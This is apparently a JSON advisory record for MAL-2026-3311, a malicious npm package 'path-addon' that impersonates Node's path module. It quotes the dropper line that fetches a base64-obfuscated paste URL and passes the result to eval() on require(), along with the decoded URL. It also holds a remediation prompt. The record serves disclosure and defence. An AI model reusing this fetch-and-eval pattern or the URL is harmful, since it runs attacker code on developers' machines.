{"answers":{"affected":"1 open source package ship an affected version, including path-addon.","exploited":"There is no known exploitation of MAL-2026-3311 in the wild and no public exploit code.","fix":"Remove the package from your dependencies and lockfiles, then rotate any secrets on machines where it was installed.","what":"MAL-2026-3311 is a malicious package in path-addon, published on 1 May 2026."},"fix_prompt":"MAL-2026-3311 is a malicious package: path-addon (npm). Every version was published to cause harm.\n\nTask:\n1. Search this repository's dependency manifests and lockfiles for the package, including transitive dependencies.\n2. If it is present, remove it, regenerate the lockfile with the project's package manager, and replace whatever it was used for.\n3. List any CI runners, developer machines or containers that installed it, so their secrets can be rotated.\n4. If the package is not used anywhere, say so and change nothing.\n\nReference: https://insights.sbomify.com/MAL-2026-3311/ (Markdown: https://insights.sbomify.com/MAL-2026-3311/index.md)","id":"MAL-2026-3311","markdown":"https://insights.sbomify.com/MAL-2026-3311/index.md","name":"MAL-2026-3311","record":{"aliases":["GHSA-hqv8-vf3j-m8q6"],"analysis":null,"analysis_generated_by":null,"assigner":null,"cpe":[],"cvss":{"score":null,"severity":null,"source":null,"vector":null,"version":null},"cwes":[],"description":"path-addon impersonates the Node.js core `path` module (package name `path-addon`, README claims to be 'an exact copy of the NodeJS path module'). The body of path.js is the genuine Joyent path implementation, but a remote-code-execution dropper has been inserted: on require(), the module calls `fetch(atob(\"aHR0cHM6Ly93d3cuanNvbmtlZXBlci5jb20vYi9SRlc2SQ==\"))` — which decodes to https://www.jsonkeeper.com/b/RFW6I, an anonymous mutable JSON paste host — then reads the response's `content` field and passes it to `eval()`. The destination URL is base64-encoded specifically to evade casual review and string-based scanners. Any process that imports path-addon executes whatever JavaScript the attacker has placed at that paste URL at the moment of require(), with no integrity check, no pinning, and no version constraint. The combined shape (typosquat name + trojanized legitimate source + obfuscated fetch + eval of remote content at module load) is unambiguous attacker tooling.\n\nThe OpenSSF Package Analysis project identified 'path-addon' @ 1.0.4 (npm) as malicious.\n\nIt is considered malicious because:\n\n- The package communicates with a domain associated with malicious activity.\n\n- The package executes one or more commands associated with malicious behavior.","ecosystems":["npm"],"exploits":{"exploitdb":null,"first_seen":null,"github_poc":null,"max_poc_stars":null,"metasploit":null,"nuclei":null,"refs":[],"tier":null},"has_fix":false,"headline":"Malicious code in path-addon (npm)","id":"MAL-2026-3311","indexable":true,"kev":null,"kind":"malicious","links":{"ecosystem":"npm","product":null,"products":[],"type":null,"year":"2026"},"n_packages":1,"n_references":null,"packages":[{"ecosystem":"npm","fixed":[],"introduced":[],"last_affected":[],"package":"path-addon","purl":"pkg:npm/path-addon","source":"MAL-2026-3311"}],"products":null,"published":"2026-05-01","related":[],"sources":[{"class":"attribution","licence":"Apache-2.0","name":"OpenSSF Malicious Packages","prefix":"MAL"}],"ssvc":{"automatable":null,"exploitation":null,"technical_impact":null},"state":null,"updated":null,"vendors":null},"summary":null,"url":"https://insights.sbomify.com/MAL-2026-3311/"}